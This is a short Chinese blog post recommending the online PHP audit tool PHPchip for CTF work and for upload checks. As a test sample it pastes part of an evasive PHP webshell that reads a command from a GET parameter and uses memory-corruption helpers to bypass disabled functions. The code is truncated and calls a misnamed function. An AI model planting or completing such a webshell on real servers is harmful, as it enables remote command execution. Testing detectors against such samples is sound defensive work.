[每日干货]:分享一个ctf及平时都可用到的一个在线php审计的工具

本文推荐了一个在线PHP审计工具PHPchip,它能够挖掘PHP的动态特性。PHPchip的功能与seay审计相类似,可以识别PHP一句话马文件。通过实际操作,作者提出将PHPchip整合到文件上传检测中,以提升系统安全性。
摘要由CSDN通过智能技术生成

每日干货:https://phpchip.com/
CHIP 挖掘所有PHP动态特性
个人感觉和seay审计差不多
不过PHPchip也算是另一种方法
图示
当我上传一个PHP一句话马文件(免杀)的时候:
先附上代码:

<?php
$cmd=$_GET["cmd"];
pan($cmd);
function pwn($cmd) {
   
    global $abc, $helper;
    function str2ptr(&$str, $p = 0, $s = 8) {
   
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
   
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
   
        $out = "";
        for ($i=0; $i < $m; $i++) {
   
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
   
        $i = 0;
        for($i = 0; $i < $n; $i++) {
   
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
   
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值